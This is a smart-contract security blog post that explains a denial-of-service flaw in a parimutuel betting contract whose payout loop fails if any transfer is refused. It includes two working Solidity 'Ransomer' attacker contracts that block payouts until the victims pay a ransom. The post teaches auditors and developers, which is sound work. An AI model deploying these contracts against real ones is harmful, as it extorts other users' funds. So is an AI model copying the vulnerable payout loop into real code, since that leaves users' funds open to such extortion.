Provable Fair Ransom

Steve Marx
May 22 · 4 min read
image courtesy of www.ransomizer.com

Failed Transfers

Below is a smart contract for parimutuel betting on whether a future block hash will be odd or even. It suffers from a very common vulnerability:

contract VulnerableBlockhashBet {
uint256 public blockNumber = block.number + 1000;
uint256[2] amountBet;

struct Bet {
address payable bettor;
uint256 amount;
}
Bet[][2] public bets;
function bet(uint256 choice) external payable {
require(block.number < blockNumber, "Too late.");
require(msg.value > 0, "Must bet something.");
require(bets[choice].length < 50, "Too many bets.");

amountBet[choice] += msg.value;
bets[choice].push(Bet(msg.sender, msg.value));
}
function resolve() external payable {
require(blockhash(blockNumber) != 0, "Hash unavailable.");
uint256 totalBet = amountBet[0] + amountBet[1]; uint256 winner = uint256(blockhash(blockNumber)) % 2;
for (uint256 i = 0; i < bets[winner].length; i++) {
uint256 amount = bets[winner][i].amount *
totalBet / amountBet[winner];
address payable bettor = bets[winner][i].bettor;
delete bets[winner][i];
bettor.transfer(amount);
}
}
}

Ransom

I said there appears to be no motivation for someone to block the VulnerableBlockhashBet contract, but there is an interesting ransom opportunity. A malicious bettor could participate in the bet via a smart contract that conditionally refuses ether. They can then contact the other recipients and make a ransom demand: “Give me an ether or no one gets paid.”

// Prevent inbound transfers until someone pays a ransom.
contract Ransomer {
address owner = msg.sender;
bool locked = true;
// We're betting 2 wei, which we don't care about getting back.
constructor(VulnerableBlockhashBet target) public payable {
target.bet.value(1)(0);
target.bet.value(1)(1);
}
// Block incoming transfers until ransom is paid.
function() external payable {
require(!locked, "Pay the ransom first!");
}

// Called by contract owner when ransom has been paid.
function unblock() external {
require(msg.sender == owner);
locked = false;
}
}

Trustless Ransom

We can make the ransom scheme trustless by encoding the ransom logic into the smart contract itself:

// Prevent inbound transfers until someone pays a ransom.
contract Ransomer {
address owner = msg.sender;
bool locked = true;
// We're betting 2 wei, which we don't care about getting back.
constructor(VulnerableBlockhashBet target) public payable {
target.bet.value(1)(0);
target.bet.value(1)(1);
}
// Block incoming ether until ransom is paid.
function() external payable {
require(!locked, "Pay the ransom first!");
}

// Anyone can unblock by paying the ransom.
function payRansom() external payable {
require(msg.value >= 1 ether);
locked = false;
}

// Collect the ransom (and any other received funds).
function collect() external {
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
}

Closing thoughts

Be careful about dismissing a vulnerability because there’s no obvious motivation for someone to exploit it. Not only can a vulnerability be exploited “for the lulz” or even accidentally, but sometimes there are creative avenues for profiting from a vulnerability that aren’t immediately apparent.

ConsenSys Diligence

ConsenSys Diligence has the mission of solving Ethereum smart contract security. Contact us for an audit at diligence@consensys.net.

Thanks to Shayan Eskandari, Gonçalo Sá, and Valentin Wüstholz.

Steve Marx

Written by

Working on Ethereum smart contract security at @ConsenSys. Co-creator of https://www.site44.com and https://programtheblockchain.com .

ConsenSys Diligence

ConsenSys Diligence has the mission of solving Ethereum smart contract security. Contact us for an audit at diligence@consensys.net.